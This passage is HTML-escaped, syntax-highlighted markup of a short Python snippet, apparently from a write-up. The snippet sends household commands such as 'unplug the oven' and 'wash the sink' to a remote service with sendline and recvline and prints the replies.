&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;unplug the fire alarm&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;unplug the oven&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;wash the sink&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
